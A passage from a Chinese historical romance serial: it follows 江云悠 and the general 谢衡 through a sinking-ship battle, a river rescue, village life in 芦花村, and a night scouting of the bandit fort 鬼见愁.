她话还没完,忽然听到有人大喊沉船,原本就有些杂乱无序的人群彻底乱成一锅粥,有些慌不择路的人竟直接从船上跳了下去。
“来不及了,人命要紧!”谢衡目光一扫,下令道:“左、前两侧薄弱,我带人从左侧佯攻,你们找机会冲出去。”
谢衡率先跃起,将几个大喊沉船的人一剑封喉。孟笛咬牙转身,找到了周远。
江云悠离开甲板前无意识的转过头,看到了那个月光下浴血的身影,等谢衡回望时,江云悠已经被拉下甲板。
此处隔绝了厮杀的声音,海风腥咸,似带着血气。孟笛和暨雨安顿好江家人,却转身退回了船上。
江云悠诧异道:“你们做什么?”
“公子还在船上,我们不会放弃自己的战友。”孟笛躬身道:“周队长,重伤的兄弟就交给你了。”
她声音铿锵有力,但身上护甲早已破烂不堪,脸和脖子上也都是斑驳血迹。
周远忽然高声道:“等等!”
江云悠意识到周远要做什么,赶忙拉住他的袖
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子。周远拍拍她的手,声音如之前无数次跟她讲道理时那般温和。
“于公,这批货是我们运输,我们这次没有摁倒莫家,如果再丢了这批货,那江氏航运的名声就岌岌可危了。”
“于私,不管他们因何而来,现在都是为了掩护我们而留在了船上,我们不能把他们放在这就这么离开……况且船沉还有一段时间,我有把握能全身而退。”
江云悠垂着脑袋,忽然注意到周远握着自己的那双手布满老茧,有些地方还有细小的疤痕。
从前只从书上读财帛富贵来之不易,却没想到是如此惊心动魄。
江云悠眼神依旧明亮澄澈,只是变得更加坚定和镇静。
“远叔,你还受着伤,这些人还要靠你领队——我带人跟他们去,这样是最合适的安排了。”
周远蹙眉,对这件事没得商量“不行!没时间浪费了,你赶紧走!”
的确没时间了……
江云悠把最后一颗软筋丸弹到他口中,周远对她没有防备,软软倒了下去。
“远叔,相信我。”
她把周远放好,起身高声道:“诸位兄弟为我江家拼命,江家定铭心珍贶,江云悠在此厚颜一问,可有人愿与我再次上船救货?”
船上人面面相觑,无人应声。江云悠不再停留,抬脚跃上大船。刚一落地,身后一人紧随而上,他身上染着血,想来刚才也是血战了一番。
“当年我老母重病,全靠周队体恤,请了大夫,现在也到我报恩的时候了!”
有了他的带领,陆续又有几人跟了上来。
江云悠将他们的脸一一记下,深鞠一躬。
“诸位恩情,江云悠铭记!”
海上的天气多变,空气又湿又重。甲板上的厮杀仍在继续,孟笛领着众人及时赶到,长枪当空劈下,把试图偷袭谢衡的人一枪挑飞。
谢衡长剑撑地,喝道:“谁让你们回来的!”
孟笛不敢领这个违抗军令的帽子,钻了个空子把江云悠推到前面来,反正谢衡也罚不了她。
“江姑娘说愿意留下帮我们运货,其他人已经安全撤退了。”
谢衡蓦然抬头,这一次,隔在两人间的数道人影纷纷退开,江云悠站在腥风血雨的尽头遥望着他,眼里的光比月色还要明澈。
他收回目光,令暨雨随江云悠一起去了后舱。
行动有条不紊的进行着,与此同时,船沉的速度也越来越快。随着最后一箱货物搬到木舟上,大船的木板从中折断,开始向一侧倾斜。
旁边一人道:“少东家,再不走的话一会咱们会被大船沉底的浪掀翻的!”
“再等等!”
江云悠死死盯住出口,暨雨带着人从四周埋伏准备接应。
终于,孟笛带人出现在眼前,暨雨瞬间出动,拦住后面的黑衣人。
谢衡是最后一个上船的,连日的疲惫在这一夜的战斗中轰然爆发,他登船时几不可察的晃了一下。
“小心!”
江云悠握住他的手,感觉掌心一片黏腻。谢衡看一眼她,收回自己的手,吩咐开船。
那印有江字的大船越来越远、最后淹没,它会带着那些尸骸沉入海底,除了活下来的他们,没人会知道今晚甲板上的月光是怎样的血腥。
13. 荆棘塞途(三)
江云悠垂眼,看到站在另一边的谢衡。
他衣袍上尽是斑驳的褐色和隐隐的血气,手上银剑入鞘,那锋芒必现的凌厉变为冷寂,与黑夜融为一体。
江云悠盯得时间太长,谢衡似有所觉,把身子完全转了过去。
冷风将他洇湿的衣衫吹透,血气却如何也吹不散。
忽然,他蜷在身侧的手忽然被小心的捞起,血肉外翻的伤口陡然见了光,忍不住瑟缩了一下。
江云悠握着他鲜血淋漓的手,蹙眉道:“你这伤口需要上药。”
谢衡顺着两人交叠的手看去,她那身天水碧的衣衫已经脏乱不堪,鼻子和脸颊都蹭上了灰,但那双眼睛却仍然熠熠生辉,与在甲板上时的惊惧混沌截然不同。
他移开视线,淡声道:“没事。”
“可你满身的伤,不处理很容易感染的。”
江云悠察觉到他神色不大对劲,疑惑道:“怎么了?还有什么事没处理好吗?”
谢衡被她问的愣住,忽而被冷风兜头吹醒,刚才那莫名其妙的情绪四散干净。
他松了手上抗拒的力,任她包扎去了。
江云悠是个怕疼的人,磕到凳子腿都要哼唧半天,此时看他这血肉模糊的伤口感觉自己都肉疼。
她瞄一眼谢衡,却发现他连抖都没抖过一下。
“你们当兵的,是不是都受过挺多伤的?”
谢衡淡淡的嗯了声。
江云悠看着他尚出血的伤口,以为他还未从刚才的血腥中回过神,轻声笑道:“如果我说我一从阿娘肚子里出来就是六岁神童你信不信?”
谢衡一哂“你比哪吒还厉害?”
这世上没有江云悠接不住的牛皮,她拱手应和“惭愧惭愧,低调低调。”
她顿了顿,继续道:“但我爹大概学错了本领,没托塔,改送孟婆汤了,还把我六岁之前的记忆都送走了,可能怕我埋怨他,索性连自己的样子也一并从我脑袋里抹去了。”
谢衡听出她是想要开解自己,但话题进展的方向显然不大对“你不用……”
“其实我学这岐黄之术就是因为我娘,她老人家身体不好,最后那段日子几乎都在床上度过。那时候我家有个神医,我就整日跟在他后面,希望能学些东西给我娘减轻点痛苦……”
可心病还须心药医,没了生念的人,再厉害的神医也无能为力,活着于江泠而言,已经是折磨了。
谢衡叹口气,碰了下她的手腕,冰凉的指尖一触即放“别想了,都过去了。”
江云悠被他冰冷的温度拉回,仰头看向满天繁星“是啊,都过去了。”
水天皆是墨色,让人有种漂泊在世界尽头的感觉。
船上的人轮换着摇浆,其余人已经疲惫困倦的沉沉睡去,就连孟笛和暨雨也窝在一边打盹。江云悠已经困极,却不敢闭上眼,她怕梦到那满船的尸骸和充满哀嚎的旧梦。
谢衡支着腿靠在船边,似乎在守夜。
“你不累吗?”江云悠怕吵醒船上人,挨在他旁边轻声道:“反正我睡不着,你休息吧,我看着。”
谢衡不置可否,只道:“差不多还有一个时辰就靠岸了。”
江云悠哦一声,强迫自己打起精神“你今天在船上那么厉害,在军中怎么也得是个将军吧。”
“这时候还想着套话呢?”
“我就随便一说嘛。”江云悠掰着手指头道:“身份不能说,来干什么不能说,连叫什么也不告诉,你是神仙派来下凡体察的不成?”
谢衡抬眼看着无边无际的黑暗,寒风吹干了他身上的血迹。
“太阳升起后咱们彼此就会分道扬镳,之后幸运的话,也不可能再见了,你一定要弄清我的身份和名字做什么,方便忘吗?”
“当然不是。”
江云悠道:“就像端午要吃粽子,过年要放烟花,你说太阳升起才算天亮,而我觉得名字就是一个人标志,我想在记忆里留下一个你存在过的标志。”
谢衡愣住,手心被悉心包好的伤口忽然又疼起来,却并不强烈,针扎似的感觉蔓延开来,一股脑钻到心口。
他手指动了下,看着头顶明亮的星光,良久后缓缓开口“我姓谢,‘折羽谢翻飞’的谢,至于名字……第一天被你抢的玉佩上那两个字就是。”
他终究没告诉她自己的身份,就像谢衡这两个字——再如何清洗,也冲不掉其上附在其上的凶名。
如果选择给这次江南之旅印个标志,他希望留下的是谢明淮这个名字。
摇浆的人换了三波,岸边终于从一片灰蒙中显出轮廓。
谢衡看向那一片静谧的芦苇荡,隐隐觉得有些不对劲。
江云悠看他神色有异,心紧跟着提起来,对身旁划桨的人道:“先停一停。”
但那人毫无反应,如同没听到她的话,谢衡瞬间反应过来将她拉开。
几乎是同时,划桨那人忽的暴起,匕首狠狠刺向江云悠。谢衡先一步踢飞匕首,船身一侧少了浆失去平衡,在水面上摇晃打转。
船上众人不适应摇摆的船身,尚在维持平衡时被那人寻到机会,转过身不管不顾的死死扒住谢衡。
船小人多堆满货,两人又离得太近,谢衡根本就无法施展动作,被他扯住衣裳往后一推,倒扎进冰冷的水里。
深秋的水冰冷刺骨,谢衡被那人撕扯着沉向水底,等脱离那人束缚时,头顶已是黑茫一片,水面看起来那么遥远……
他动作越来越缓慢,已经被冻的无力上游,身体往更深处沉去,脑海唯一划过的念头是:
今年的墓没人扫了。
就在头顶的光亮将要消失时,一抹浅色的身影出现在视线里,缓缓向他游来,天光在她身后镀上一圈轮廓。
谢衡身上的血在水中晕出一小片淡淡的红色,模糊了他的眼。那个被光笼罩的身影跟不上他下沉的速度,两人距离越来越远。
她应该走了吧……
他不再贪图光亮,闭上眼沉入黑暗。
身体像是掉入了一个无底的深渊,周围是压抑的黑和死一般的寂静,能感觉到的,只有身体毫无止境的下坠。
恍惚间,他听到了战鼓声。
滚烫的血流淌在雪地,身边的人一个一个倒下,看不清面容,分不清敌我,他能做的只有拼命挥剑。
记忆中刚才身边倒下的好像是个校尉,昨夜巡营的时候数他喊的声最大,说家里人给他来信,得了个大胖小子,嚷嚷要参军起个好名字……
箭矢掺着漫天飞雪,呼啸的狂风撞着刀剑,白色的雪被红色覆盖,最终又变成白色——那漫山遍野,森冷死寂的白成了他长久挥之不去的噩梦。
那年,他十六岁,父亲谢晟钊拼死冲出敌阵,却死于军帐之内,回来报丧的人说是旧伤复发。
谢家无人主事,无人庇佑,旁落的兵权成了黑暗里猛虎争相的砧板之肉,那些平时阿谀逢迎的人转脸成了最可怕魔鬼。
他被叫到祠堂,手中被塞进了一个不算重的冰凉物件。
“三千兵甲,是我谢家最后的希望了,此战,非胜即亡。”
于是他跨上战马,拿
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起长剑,来不及见父亲最后一面,只能不停往前跑,跑过捶丸场上的青草,跑过他们恣意张扬的笑脸,跑过自己鲜衣怒马的少年时光,赶赴那终年不见暖阳的地方。
关外的天实在太冷了,冷的他都忘了阳光的样子,寒气顺着伤口钻进百骸,一点一点冻住五脏六腑。
他看着眼前的尸山血海,此时已是血战的第三天,依旧没有援兵——他们被放弃了。
他看向始终晦暗的天空,绝望的闭上眼。
“坚持一下,谢明淮,再坚持一下!”
这声音如暖阳撕裂阴霾,春光作序,万物和鸣,积雪之下,草木蔓发。
他寻着那束暖光找去,挣扎着睁开眼,水浪声渐长,胳膊上的刺痛让他稍稍清醒了些。
远山如黛,薄雾轻拂,东方层云之下,泄出一丝曙光。
谢衡视线迟缓的向下,看到了腕上系着的一根天青色丝带,将自己与另一只戴着金玉链的手紧紧缠在一起。
那手白皙娇嫩,被冰冷的河水冻得指节泛红、微微发抖,但仍紧紧握着他的手腕,像是永远不会松开。
他缓缓抬眼,看到了一双和煦明澈的眼,像是朝阳,他下意识拉近她,想要靠近那温暖。
她似乎说了什么,但他耳朵嗡鸣,脑袋也晕沉不堪,什么都听不清,他闻着那清淡的荷香,任由自己砸进她温暖的颈窝。
……
日月轮转,清风鉴水。蜻蜓绕着篱笆上的喇叭花落下,一只黄狗追着蝶儿滚进了菜畦里,鸡鸣惊醒了屋内人的长梦。
意识回拢,谢衡皱眉扫向四周,忽感什么东西划了下手心,他低头,看到了一条天青色发带。
他思绪一顿,昏迷前的那段画面一股脑涌来,痛觉好似也苏醒过来,针扎似的凑热闹。
谢衡叹口气,捏了捏眉心。
此时,门外忽然传来一阵脚步声,那个清脆的声音像是从梦里穿了出来。
“你醒啦!”江云悠手里攥着一捧野花,插到桌上一个草编的篮子里“感觉怎么样,伤口还疼吗,烧退了吗?”
谢衡刚醒反应有些慢,被她一箩筐问题砸的愣了两秒。江云悠借着这个空隙三步并两步走了过来,伸手探上他的额头。
谢衡下意识伸手一拦,结果忘了她的发带还缠在手上,两人双双一愣。
谢衡是真的刚从长眠中醒过来,眼里惯有的那层冷淡的外膜还没来得及戴上,如此一愣下竟忽然显出些懵懂的意思,这个表情放在他这张英挺的脸上反差太大,让江云悠想到戏本子上某些十八禁的桥段。
她眼睛忽然不怀好意的一弯,戴着金玉链的手滑向他腕间,将握未握的捏着那根发带,弯腰贴近他。
“明淮哥哥,怎么现在这么生分?你睡着的时候可不是这样的。”
不过谢衡可不是戏本子里柔柔弱弱的病秧子,他闻着近在迟尺的荷香,鬼使神差的,他手指微动,将那根发带灵活的绕过她不安分的手,江云悠只来得及睁大眼,就被他困住手腕往下一拉。
其实他用的力不算大,但江云悠本就站的吊儿郎当,这一下直接跌坐在床上。等她手忙脚乱的撑住身子再抬头时,发现两人高低位置已经掉了个过。
谢衡那双深邃多情的眼睛不必做任何表情,只要稍稍弯出一个弧度,就足以让人沉沦。
“是吗,我暴露了什么?”
他刚苏醒的嗓子有些哑,听起来带着蛊惑人心的意味。
江云悠只是想顺口顺习惯了,属实没想到他会反击,这下嘴巴和脑子一齐失灵,呆呆的仰着头。
14. 流绪微梦(一)
“阿昭姑娘……”
江云悠听到门口的脚步声,满身毛都炸起来了,赶紧伸手去解手腕上的发带,结果越忙越乱。
眼见那结即将缠成死扣,谢衡拦了下她的手,捏住一个头轻轻一拽,天青色的发带从空中飘落,恰好赶在门推开的前一秒。
李晋川进门看到床上坐着的谢衡,立时笑起来,结果还未开口就见江云悠一阵风似的刮了出去。
谢衡捞起发带,看向桌上那捧野花,笑意弥漫到眼里:还治不了你这臭毛病了。
芦花村依山傍水而立,距丹阳城三十里,是个不起眼的小村落。近年边境战乱,朝廷四处征兵,家里交不起税吃不起饭的,大都入了伍,剩下的基本上都是孤儿寡母、空巢老人。
李晋川家里也不例外,只剩了孤儿寡母两人。
李大娘正在灶台上做饭,见江云悠跑了出来,还以为出了什么事,喊道:“怎么样阿昭姑娘,你大哥好着呢吧?”
江云悠身为烟花柳巷的浪里小白龙,第一次马失前蹄,心情十分复杂,蔫蔫的应了声没事。
她看到灶台上热腾腾的菜汤,眼睛一转“大娘,我帮你吧。”
江云悠左手捻了把盐,右手举着醋瓶,一股脑都撒到碗里,正摸着下巴想下一味料时,李大娘忽然朝远处喊了一声。
院子里不知道从哪钻出来一个穿开裆裤的小孩,边往外跑边朝后扔了个柿子。
李大娘腿脚不好,追不上那小孩,只能追在他身后一个个把他扔的柿子拾起来。
这柿子是江云悠今早刚跟李大娘一起串好挂到房上,听说是要做成柿饼卖钱的。
江云悠撸了撸袖子“这熊孩子是谁家的,我今天非得让他屁股开花。”
李大娘叹口气拦住她“阿昭姑娘别去了,他娘是村里出名的悍妇,这小子一天学的混着呢。”
江云悠捡起地上那小孩丢下的剪刀,数了数摔坏柿子的个数。
“放心吧大娘,我今天就教育教育他,什么叫‘多行不义必自毙’。”
李大娘怕她出事,赶紧进屋去找李晋川。
那小屁孩干了坏事还在大门口和泥,没有一点悔过之心。江云悠绕过他跃上土墙,看到了院里挂着的柿子。
她摸出剪刀,比对着数量剪了两串柿子溜回土墙下,结果来时容易去时难。
怀里的柿子占着手,她没法借力和掌握平衡,正想着要分批往外拿,就见屋里一个影子正往外走。
江云悠咬牙后退两步,借着惯性和冲力上墙,结果一不小心用力太猛,到墙上刹不住了,眼见就要脸着地,她索性转了个身,把自己的脸和怀里的柿子朝上。
然而想象中的疼痛却没传来,反而跌入了一个熟悉的淡淡兰花香的怀抱里,谢衡的声音在她耳边轻声响起。
“你真是一会儿不见就干大事啊。”
江云悠惊讶的睁开眼,谢衡已经松手退开了,李晋川的声音紧接着在大门口传来。
“王婶,您家壮壮又去我们家偷柿子吃了,您……”
“什么偷偷偷的!”王婶长得膀大腰圆,一嗓子截住李晋川的话“不要以为你多识两个字就了不起了昂,张嘴就乱说……”
江云悠听得心头火起,谢衡竖起手指“嘘”了一声,把她拉回来。
“站好把风。”
他拎起脚下一个筐子跳进院子里挂柿子的地方,把筐里的东西倒了出来。
江云悠这才看清楚,那里面装的是那小孩弄坏的那些柿子。谢衡三两下跃出来,朝李晋川吹了声哨。
王婶以为见李晋川哑火了,以为他是知难而退,趾高气昂的回了院子“什么偷柿子,反正我家的柿……”
谢衡掐准时机,抽出江云悠手里握着的剪刀扔到那小孩脚下。
小孩看了看脚边突然出现的剪刀,尚没反应过来怎么回事,刚捡起那把剪刀就被他娘薅着脖子拎了起来,抓了个人赃并获。
路上,江云悠抱着柿子看一眼谢衡“哎,你没少干这事吧,比我还熟。”
她好奇心陡然上升,迭声道:“快讲讲快讲讲。”
谢衡被她问的恍惚了一下,下意识想到某一年临安城的春日宴。当时他年少轻狂,看不惯皇后外甥以权压人,在射覆上设计,让那油头大耳的饭桶从此得了个芦笋小生的外号。
后来谢晟钊听说了,拿起棍子就往他身上招呼。
再后来……雁门关失守,谢晟钊挂帅出征,镇北军几乎全军覆没……
时间太久了,掷果盈车、策马踏花远的像是上辈子的事。
杀伐决断的镇北将军不能桀骜不羁,支撑起整个谢家的擎天柱也不需要恣意洒脱。
他把过往的自己祭在了十六岁的那个雪夜,从漫长的冬季挺过来的,是令人闻风丧胆的谢衡——不论是敌军还是自己人。
“谢明淮!”
谢衡眨了下眼,一只手肆无忌惮的在他面前晃了晃。
江云悠歪头看他“不会吧,你都做过什么见不得人的事啊,一件都不能说吗?”
谢衡轻笑了声,拍开她的手“我是在想,该怎么教训一下随便在我碗里乱加料的人。”
江云悠被自己口水呛了一下,立马岔开话题“哦对,我发现了个很重要的东西,一直没来的及给你。”
她拿出一块黑色的布料递给谢衡“我从水里上岸时就在芦花村边上了,还好李大哥路过把咱俩这落汤鸡救了。后来我在上岸的地方留了记号,也顺着河流往上走了一段,这是唯一的发现,你看像不像你那护卫衣服上撕下来的?”
谢衡醒来的时候在脑中大致过了一遍目前的情况。
眼下账本在手,掺和走私案的莫家一干人他也查了个底儿掉,只要把手里这些证据往上一交,查幕后主使的事儿完全可以移交兵部和刑部。
可是自打误打误撞碰到谢霄起,他心里就感觉不对。
计划泄露、莫名出现的外族,还有最后沉船时突然出现的那群黑衣人……凭借他们射箭的功夫,谢衡可以断定他们绝非普通人,这么一大群人是怎么神不知鬼不觉在船上潜伏至最后一刻的?
他原来以为江家不过是误打误撞掺合进来的,现在看来绝没那么简单,江家有内应,而且地位绝对不低……
谢衡把那块布料展开观察断口处,道:“当晚我只发现岸上的芦苇荡无风自动,现在看来里面确实埋伏着人。”
江云悠心下一沉,远叔是提前离开的,也不知道
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走的是不是同一条路,有没有遇袭。
埋伏的会是莫家吗?她听江云帆说过,莫家不过前两年傍上个朝廷的大官,这才趁势做大。这么耗费人力物力几次三番穷追不舍,甚至跑到丹阳地界放肆劫人,他们有这个本事吗?
她忽然想到莫家赌坊密室里那个目光如蛇信子般的男人,脊背一寒。
谢衡把布块收起来“你从哪捡到这个东西的,带我去看看。”
江云悠点头,把柿子放回李大娘家后就带着谢衡去了河岸。
夕阳残红透过飘摇的芦苇荡映在水面,半江瑟瑟半江红。谢衡按江云悠指的地方扩大搜索范围,找到一处被压弯的芦苇丛。
谢衡蹲下身环顾四周,河岸湿润,除了这片被压弯的芦苇再无其他痕迹——这里太干净了。
谢衡碾了下手上的土“今日河流下游有发现什么不对吗?”
江云悠跟着他蹲下,一时没懂这句话的含义“什么不对?”
“血之类的。”
江云悠愣了一下“你是怀疑毁尸灭迹?”她认真回想了一遍“没有,芦花村就在紧下游,我每次出来都能看到有人浣衣,如果……有什么不对,村里应该早传出来了。”
谢衡起身拍了拍手,往远处看去。
“暨雨和孟笛不会束手就擒,在此处埋伏的应该不是莫家那些人。船上那个突然袭击的人或许还没把我们带到地方就被发现了,误打误撞的被另一伙人截胡了。”
“另一伙人?”
谢衡挑了个木棍往河边走去“有怀疑的对象吗?”
江云悠站在原地蹙起眉,不是莫家,肯定也不会是曹家,谁会误打误撞呢?她学着谢衡的样子抬眼眺望,目之所及皆是重重叠叠的山峦。
误打误撞……
她俶尔反应过来,朝他跑过去“我知道了‘此路是我开,此树是我栽,要想从此过,留下买路财’,是山匪对吧!”
谢衡赞许的点头,从河里举起木棍,上面多了条摆着尾巴的草鱼,带起的水溅到了江云悠的裙摆上。
他把木棍抛给江云悠“回去问问李晋川附近有没有匪患。”
日月在他们身后交替,连绵的山霭与浮云共齐,两人随着河流而下,一个明快,一个沉稳。
李大娘已经摆好了白薯菜汤,得知谢衡带了条鱼回来,一时竟不知道该怎么做,最后还是谢衡重新开了土灶,因为调料食材受限,只做了清炖。
江大小姐十指不沾阳春水,正经忙没帮上一点,倒忙整了一堆,最后只得站在灶边动起嘴皮子来。
“哇塞,你简直上得厅堂下得厨房,能文能武,身怀绝技,这样的好男人简直打着灯笼都难找。”
她记吃不记打的凑近谢衡“不知公子未来想找个什么样的夫人啊?”
谢衡把砧板上的鱼鳞朝她一撇“话少的。”
江云悠身法敏捷的一转身“那多无趣,你俩对坐的时候岂不跟相面没区别了?”
她手上不知道什么时候抓了双筷子,迅雷不及掩耳之势的夹了口鱼肉。
“嗯,色香味俱全——上桌。”
她打了个响指,端起盘子绕过摇了半天尾巴的小黄狗,趁李大娘不注意,扔了个鱼尾巴给它。
15. 流绪微梦(二)
饭桌上,江云悠舌灿莲花,哄得李大娘笑的合不拢嘴,连李晋川也慢慢的畅谈起来。
从他们口中,谢衡得知,李大娘家还有一个大儿子,不过早已参军,这几年边境战乱频繁,年节都不一定能回来。
李大爷两年前灾洪的时候罹难,还是卖了一亩地才凑上的棺材钱。李晋川刚考上秀才就因此丁忧在家,靠抄书贴补家用。
李晋川听江云悠问起匪患,长叹道:“阿昭姑娘不知,近年南越人接连入境烧杀抢掠,不少难民涌到丹阳,不少都上山当了土匪,时不时就来打劫。”
谢衡喝粥的动作变慢,道:“官府没派兵剿匪吗?”
大齐地方制度沿用前朝并加以改良,州为最大级,至少包含两个郡。
当前大齐版图分为十二州四十三个郡。丹阳、平陵、沅澧乃大齐最富庶的鹭洲,地方最高长官太守姚肃谦的府衙就坐镇于丹阳,此处的匪患竟还如此猖獗?
李晋川无奈一笑“郊外周围村里的人每月都会去衙门里敲鼓请兵,但官府的人不是一拖再拖就是走个过场……这些土匪也从来不会靠近丹阳城十里之内。”
他说的含混不清,江云悠却没那么多忌讳,脑袋一转便道:“李大哥是说官匪勾结,沆瀣一气?”
李大娘见过官兵的厉害,忙道:“这可不敢乱说,万一让人听了去,弄不好要蹲大狱哩。”
李晋川到底是被文人志气熏陶长大的,说话办事虽处处谨慎但自有其清流傲骨“没事娘,咱们身正不怕影子斜,他们做都做了,还怕别人说吗。”
李晋川看向自己握笔的手,叹道:“可惜我一介书生,无权无势,见这满目疮痍却不能除之,如今也只能蜗居于此,发几句牢骚罢了。”
江云悠不能苟同,直言道:“百里奚孙叔敖皆出自市井,最后还不是功留青史。李大哥何必自己泄自己的气,暂时蜗居于此并不可怕,可怕的是你觉得自己只能蜗居于此。”
谢衡眉眼微动,看向江云悠。夜风吹开了遮在她眼前的碎发,似乎越是黑暗,她那双眼睛就越是清亮,像是可以穿透一切颓败之色。
李大娘白发满头,唉声道“这几年天灾人祸的,好些人都是活不下去被迫上的山,之前劫的都是那些过路的有钱人,也就是这几年,突然就开始对我们收什么保护费。”
谢衡目光微沉“您说匪寨开始转变是几年前?”
“大概就是四年前吧,我也记不太清了。”
江云悠察觉到他话音的变化,轻声问:“怎么了吗?”
谢衡摇头,他只是突然想到四年前三司会审的镇北军资被盗案。
后来他暗中调查过,虽然所获很少,但基本可以推测那些军资在丹阳转买时有分销过,那么除了外邦还卖给谁了呢?
李大娘睡得早,吃完就走了,他们又和李晋川了解了些情况,正准备收桌时,忽听身后一道声音飘来。
“晋川哥——”
这声音一听就是个年轻姑娘,一个字能拐三个弯,活像唱山歌。江云悠转头,见那姑娘正站在篱笆门外,手里端着一小盘菜,欲语还休的看着李晋川。
江云悠在这方面一向天赋卓绝,不用品就知道这里面有热闹看,挤眉弄眼的推着谢衡端着碟子去了灶台。
李大娘家的院子不大,江云悠听着李晋川再三推拒,贴着门板摇头晃脑的叹道:“我待清风如明月,不及明月照我心呐。”
谢衡把她快擦掉漆的盘子拿过来“瞎引用什么呢。”
江云悠深以为然的点头“对对对,咱们作为李大哥的朋友,得站他这边。”
谢衡“……”
李晋川说话有些直,那姑娘肉眼可见的蔫下来,端着盘子走了。
江云悠看她实在可怜,从头上摘了个珍珠簪子追了出去。
谢衡抱臂听着江云悠安慰姑娘的话,忽然觉得她要是生做男儿身,光靠一张嘴就能迷倒一城的小姑娘。
江云悠哼着歌回来,手上已多了条绢帕。她看着树下长身玉立的谢衡,捏着手帕移到他跟前,绕着他转了一圈。
“你肯定也没少伤过姑娘的心吧。”
谢衡被她绕的眼晕,想起两人第一次见面时她那番豪言壮语“像江大小姐这种劫人式的登徒子并不多。”
江云悠不以为然“你懂什么叫重金之下必有勇夫。”
她想起谢衡那块手刻的玉佩,忽道:“那你的玉佩能再给我看看吗?”
“干嘛?”谢衡扬眉“你不都抢过一次了吗?”
“这可不能乱说。”江云悠举起四只手指作发誓状“那真是你那玉佩自己砸在我头上的,我只是见色起意又不是见财起意。”
她嘴在前面飞,等说完了才反应过来自已说了什么,索性破罐子破摔的小声道:“再说,后来不是还你了么。”
谢衡耸肩“那是我误会你了,没想到江大小姐如此财色分明。”
他掏出刻着骷髅头的铁牌丢给江云悠“研究去吧。”
江云悠被这粗制滥造的铁片吸引“这从哪捡来的,你这定请信物不大行啊,等我回去给你打一叠金的。”
谢衡啧一声“少耍贫,想点正事儿。”他指了指那个骷髅头“这是郑家二公子手里截下来的,应该是哪家的标志或者什么接头信物,有印象吗?”
江云悠翻了翻那铁牌,摇头道:“我哥见过的比我多,我可以传信问问他。”
她看谢衡整理护腕的动作“你不会要现在去那个鬼寨子吧?”
“夜晚会使人松懈,也便于隐藏,就算不能摸清暨雨他们的位置,也可以做个初步探查。”
江云悠明白了,通俗理解道:“就是去踩点的呗,这我在行。”
谢衡想到她按锭花银子的光辉事迹,不可思议道:“江大小姐还钻研过梁上君子的行当?”
江云悠竖起一根手指摇了摇“不是我吹,当今若按记忆力科考,那你见到我没准还要喊声江大人呢。”
谢衡啼笑皆非,抬手止住她越吹越大的牛皮“文官不上前线,江大人还是先往后稍稍吧。”
江云悠顺杆就爬“咱们不就是去踩点的吗,多双眼睛总不是坏事,何况还是我这么又大又亮的眼睛。”
谢
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衡面不改色回道:“但多张嘴巴是坏事,多的还是你这么又贫又碎的嘴巴。”
江云悠“……”
不过在江云悠的一再保证和评估过危险后,谢衡总算同意带上江云悠这双又大又亮的眼。
匪寨落在山半腰,取了自认为很拉风的名字——鬼见愁,当地人都叫鬼寨。
正如谢衡所预料的,寨子里的土匪没什么防备心,到了大门口前百米处才站着几个人拎把大刀来回晃悠。
敞开的木栅栏门两边搭了两层高的架子,从底下往上看,只能看见双翘在架子上的草鞋,里面的人大概睡着了。
此处唯一算得上精神抖擞的,就是那写着“鬼见愁”的黑旗了。
江云悠大概是为了应景,随手薅了棵草根叼嘴里。
“这就是那横行霸道的鬼见愁啊,我看是爹见打吧,这警戒还不如我家鸽哨呢。”她说了一半,忽然好奇的转向谢衡“你们镇北军都怎么训兵啊?”
谢衡也没想到他们会松散成这样,又仔细观察了遍四周,结果一转头就看见个比土匪更匪气的江云悠。
“像你这样吊儿郎当,心浮气躁的,先打二十板子再逐出军营。”
江云悠默默吐了草根。
“还好我不是你们将军的兵。”
谢衡一哂,心道镇北军要混进这么个刺头,那行军参谋得连夜扩写军规条例。
鬼寨很大,两人轻而易举找到突破口翻了进去,为避免突发情况,谢衡临时教给了江云悠几个手令。
“看懂了?”
“小菜一碟。”江云悠利落的给他演示了一遍,最后双手比了花在他眼前“怎么样,都说了我这是状元的脑子。”
谢衡拍开她的手“跟紧了状元郎,当心一会儿栽沟里。”
他带着江云悠在各个黑夜覆盖的角落穿行而过,来到一处地势偏高的坡上,借着杂草掩盖身形。
寨子里像是在摆席,底下人都喝的东倒西歪的,还有几个抱着酒坛子踩在桌上发酒疯。这么看寨子外面那几个巡逻的真挺敬业了,反正江云悠是不会放着大鱼大肉不吃去喝西北风的。
这个寨子很大,后面是峭壁,一侧临河,从地形上算易守难攻的了。后面的房子要密一些,看起像居住区,江云悠感觉他们打劫来的东西应该不会放在那。
下面的人唱的歌堪比鬼哭狼嚎,要想听到他们在庆祝什么,恐怕得再往下走一些。
他正要离开,忽被江云悠拉住。她指了指反方向几个较大的房子“那边像是他们商量害人分赃的地方,咱们分头行动。”
谢衡往那边环视了圈,感觉有很大可能如她所说,点头道:“一会不管能不能找到有用的,一炷香后准时在这集合,明白?”
“没问题。”
江云悠说就转身,结果刚迈开步子就被拽了回来,谢衡对她那句干脆的回答质疑道:“会估时间吗?”
江云悠哎呀一声,让他把心放肚子里“我不会估还不会偷懒嘛,放心吧,肯定比你回来的早。”
谢衡眼不见为净的摆摆手,示意她瞅准机会抓紧滚。
16. 流绪微梦(三)
鬼见愁这个寨名虽然起的乱七八糟,但其议事堂还是端端正正挂了块“忠义”的牌匾,里面点着灯。
忠义堂的椅子大概也论资排辈,最中间的铺了张熊皮,熊皮座两边的位子各有特色,富贵窝里长大的江云悠一眼便看出左边那个太师椅是红木所制,与其他搭着各种兽皮的椅子比显得格外正气。
太师椅上端正的坐了个人,头戴纶巾,一身白袍,不像土匪,倒像个谋士。
他旁边还有几个人,不顾形象的蹲坐在台阶上,拿着大碗互相一碰,喝一半漏一半的灌进了嘴里。
“那走地鸡一天天就会整幺蛾子,说什么干票大的,屁都没嘣响呢,他到先庆祝上了。”
另一个背上别着大刀的人闻言拿起酒坛子对着嘴猛喝了一口,抽出背上的大刀插在地上。
“这次废了这么大劲,顺子都折里面了,他要是还打嘴炮,老子就拧了他的头给顺子过头七。”
“老虎,慎言!”
一直坐在太师椅上那个人终于发话了,他看上去颇有地位,这几个小弟立马噤声,唯有那个虎子越想越气。
“二哥,怕他作甚,那怂蛋整天不是拍马屁就是欺负村子里的人,就算他这次告到老大那又怎样,老子烂命一条,走前先把他砍个二十刀尽兴!”
